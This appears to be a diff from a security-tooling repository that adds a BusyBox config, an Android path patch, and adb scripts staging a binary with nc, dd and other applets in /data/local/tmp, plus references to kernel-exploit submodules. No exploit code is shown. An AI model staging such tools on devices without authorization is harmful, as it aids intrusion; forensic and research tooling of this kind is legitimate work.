  1006 +# CONFIG_FEATURE_SH_IS_HUSH is not set
  1007 +# CONFIG_FEATURE_SH_IS_NONE is not set
  1008 +CONFIG_FEATURE_BASH_IS_ASH=y
  1009 +# CONFIG_FEATURE_BASH_IS_HUSH is not set
  1010 +# CONFIG_FEATURE_BASH_IS_NONE is not set
  1011 +CONFIG_SH_MATH_SUPPORT=y
  1012 +CONFIG_SH_MATH_SUPPORT_64=y
  1013 +CONFIG_FEATURE_SH_EXTRA_QUIET=y
  1014 +# CONFIG_FEATURE_SH_STANDALONE is not set
  1015 +# CONFIG_FEATURE_SH_NOFORK is not set
  1016 +CONFIG_FEATURE_SH_HISTFILESIZE=y
  1017 +
  1018 +#
  1019 +# System Logging Utilities
  1020 +#
  1021 +CONFIG_SYSLOGD=y
  1022 +CONFIG_FEATURE_ROTATE_LOGFILE=y
  1023 +CONFIG_FEATURE_REMOTE_LOG=y
  1024 +CONFIG_FEATURE_SYSLOGD_DUP=y
  1025 +CONFIG_FEATURE_SYSLOGD_CFG=y
  1026 +CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=256
  1027 +CONFIG_FEATURE_IPC_SYSLOG=y
  1028 +CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=16
  1029 +CONFIG_LOGREAD=y
  1030 +CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING=y
  1031 +# CONFIG_FEATURE_KMSG_SYSLOG is not set
  1032 +CONFIG_KLOGD=y
  1033 +CONFIG_FEATURE_KLOGD_KLOGCTL=y
  1034 +CONFIG_LOGGER=y
... ...
tools/busybox-android/busybox-android.patch 0 → 100644
  1 +++ a/tools/busybox-android/busybox-android.patch
  1 +diff --git a/include/libbb.h b/include/libbb.h
  2 +index 64167bba3dbe..bbe6cfa3bf1d 100644
  3 +--- a/include/libbb.h
  4 ++++ b/include/libbb.h
  5 +@@ -1785,7 +1785,7 @@ extern struct globals *const ptr_to_globals;
  6 + * use bb_default_login_shell and following defines.
  7 + * If you change LIBBB_DEFAULT_LOGIN_SHELL,
  8 + * don't forget to change increment constant. */
  9 +-#define LIBBB_DEFAULT_LOGIN_SHELL "-/bin/sh"
  10 ++#define LIBBB_DEFAULT_LOGIN_SHELL "-/system/bin/sh"
  11 + extern const char bb_default_login_shell[] ALIGN1;
  12 + /* "/bin/sh" */
  13 + #define DEFAULT_SHELL (bb_default_login_shell+1)
  14 +diff --git a/init/init.c b/init/init.c
  15 +index d29328c36f9a..d411136e7932 100644
  16 +--- a/init/init.c
  17 ++++ b/init/init.c
  18 +@@ -1057,7 +1057,7 @@ int init_main(int argc UNUSED_PARAM, char **argv)
  19 + /* Make sure environs is set to something sane */
  20 + putenv((char *) "HOME=/");
  21 + putenv((char *) bb_PATH_root_path);
  22 +- putenv((char *) "SHELL=/bin/sh");
  23 ++ putenv((char *) "SHELL=/system/bin/sh");
  24 + putenv((char *) "USER=root"); /* needed? why? */
  25 +
  26 + if (argv[1])
  27 +diff --git a/shell/ash.c b/shell/ash.c
  28 +index 71ef9a690f59..63d981ffd7a3 100644
  29 +--- a/shell/ash.c
  30 ++++ b/shell/ash.c
  31 +@@ -13221,11 +13221,13 @@ int ash_main(int argc UNUSED_PARAM, char **argv)
  32 +
  33 + if (argv[0] && argv[0][0] == '-')
  34 + isloginsh = 1;
  35 ++ else
  36 ++ isloginsh = 1;
  37 + if (isloginsh) {
  38 + const char *hp;
  39 +
  40 + state = 1;
  41 +- read_profile("/etc/profile");
  42 ++ read_profile("/system/etc/profile");
  43 + state1:
  44 + state = 2;
  45 + hp = lookupvar("HOME");
  46 +@@ -13266,13 +13268,7 @@ int ash_main(int argc UNUSED_PARAM, char **argv)
  47 + if (iflag) {
  48 + const char *hp = lookupvar("HISTFILE");
  49 + if (!hp) {
  50 +- hp = lookupvar("HOME");
  51 +- if (hp) {
  52 +- hp = concat_path_file(hp, ".ash_history");
  53 +- setvar0("HISTFILE", hp);
  54 +- free((char*)hp);
  55 +- hp = lookupvar("HISTFILE");
  56 +- }
  57 ++ setvar("HISTFILE", "/data/ash_history", 0);
  58 + }
  59 + if (hp)
  60 + line_input_state->hist_file = hp;
... ...
tools/busybox-android/deploy.sh 0 → 100755
  1 +++ a/tools/busybox-android/deploy.sh
  1 +#!/bin/bash
  2 +
  3 +if [[ $1 == "" ]]; then
  4 + echo "No device specified. Exiting..."
  5 + exit 1
  6 +fi
  7 +
  8 +adb -s $1 push busybox /data/local/tmp/incidebox
  9 +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/dd
  10 +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/gzip
  11 +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/nc
  12 +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/id
  13 +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/stat
... ...
tools/busybox-android/undeploy.sh 0 → 100755
  1 +++ a/tools/busybox-android/undeploy.sh
  1 +#!/bin/bash
  2 +
  3 +if [[ $1 == "" ]]; then
  4 + echo "No device specified. Exiting..."
  5 + exit 1
  6 +fi
  7 +
  8 +adb -s $1 shell rm /data/local/tmp/dd
  9 +adb -s $1 shell rm /data/local/tmp/gzip
  10 +adb -s $1 shell rm /data/local/tmp/nc
  11 +adb -s $1 shell rm /data/local/tmp/id
  12 +adb -s $1 shell rm /data/local/tmp/stat
  13 +adb -s $1 shell rm /data/local/tmp/incidebox
... ...
  1 +++ a/tools/kernel-exploits
  1 +Subproject commit 4d2d39875258c44718353c256aec17973d248e76
... ...
  1 +++ a/tools/linux-kernel-exploitation
  1 +Subproject commit abb2d9cd45c9adea0cda030481ddb616a23a270a
... ...